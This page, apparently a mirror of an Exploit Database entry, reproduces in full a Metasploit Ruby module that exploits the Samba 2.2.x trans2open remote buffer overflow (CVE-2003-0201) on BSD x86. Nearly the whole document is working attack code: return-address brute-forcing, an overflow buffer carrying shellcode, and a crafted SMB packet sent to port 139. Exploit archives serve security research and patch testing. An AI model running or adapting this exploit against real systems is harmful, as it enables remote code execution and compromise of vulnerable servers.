Samba 2.2.8 (BSD x86) – ‘trans2open’ Remote Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-06-17
• 类别：

  • remote
  平台：

  • bsd_x86
• 来源：https://www.exploit-db.com/exploits/16880/

• ##
  # $Id: trans2open.rb 9552 2010-06-17 22:11:43Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::SMB
  	include Msf::Exploit::Brute
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Samba trans2open Overflow (*BSD x86)',
  			'Description'=> %q{
  					This exploits the buffer overflow found in Samba versions
  				2.2.0 to 2.2.8. This particular module is capable of
  				exploiting the flaw on x86 Linux systems that do not
  				have the noexec stack option set.
  			},
  			'Author' => [ 'hdm', 'jduck' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9552 $',
  			'References' =>
  				[
  					[ 'CVE', '2003-0201' ],
  					[ 'OSVDB', '4469' ],
  					[ 'BID', '7294' ],
  					[ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x00",
  					'MinNops'=> 512,
  					'StackAdjustment' => -3500
  				},
  			'Platform' => 'bsd',
  			'Targets'=>
  				[
  					# tested OK - jjd:
  					# FreeBSD 5.0-RELEASE samba-2.2.7a.tbz md5:cc477378829309d9560b136ca11a89f8
  					[ 'Samba 2.2.x - Bruteforce',
  						{
  							'PtrToNonZero' => 0xbfbffff4, # near the bottom of the stack
  							'Offset' => 1055,
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0xbfbffdfc },
  									'Stop'=> { 'Ret' => 0xbfa00000 },
  									'Step'=> 256
  								}
  						}
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Apr 7 2003'
  			))
  
  		register_options(
  			[
  				Opt::RPORT(139)
  			], self.class)
  	end
  
  	def brute_exploit(addrs)
  
  		curr_ret = addrs['Ret']
  		begin
  			print_status("Trying return address 0x%.8x..." %curr_ret)
  
  			connect
  			smb_login
  
  			# This value *must* be 1988 to allow findrecv shellcode to work
  			# XXX: I'm not sure the above comment is true...
  			pattern = rand_text_english(1988)
  
  			# See the OSX and Solaris versions of this module for additional
  			# information.
  
  			# eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O2
  			# (rpmbuild -bp ; edited/reran config.status ; make)
  			eip_off = target['Offset']
  			ptr_to_non_zero = target['PtrToNonZero']
  
  			# Stuff the shellcode into the request
  			pattern[0, payload.encoded.length] = payload.encoded
  
  			# We want test true here, so we overwrite conn with a pointer
  			# to something non-zero.
  			#
  			# 222 if (IS_IPC(conn)) {
  			# 223return(ERROR(ERRSRV,ERRaccess));
  			# 224 }
  			pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V')
  
  			# We want to avoid crashing on the following two derefences.
  			#
  			# 116 int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line)
  			# 117 {
  			# 118 int outsize = set_message(outbuf,0,0,True);
  			# 119 int cmd = CVAL(inbuf,smb_com);
  			pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V')
  			pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V')
  
  			# This stream covers the framepointer and the return address
  			#pattern[1199, 400] = [curr_ret].pack('N') * 100
  			pattern[eip_off, 4] = [curr_ret].pack('V')
  
  			trans =
  				"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
  				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
  				"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
  				"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
  				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
  				pattern
  
  			# puts "press any key"; $stdin.gets
  
  			sock.put(trans)
  			handler
  			disconnect
  
  		rescue EOFError
  		rescue => e
  			print_error("#{e}")
  		end
  
  	end
  
  end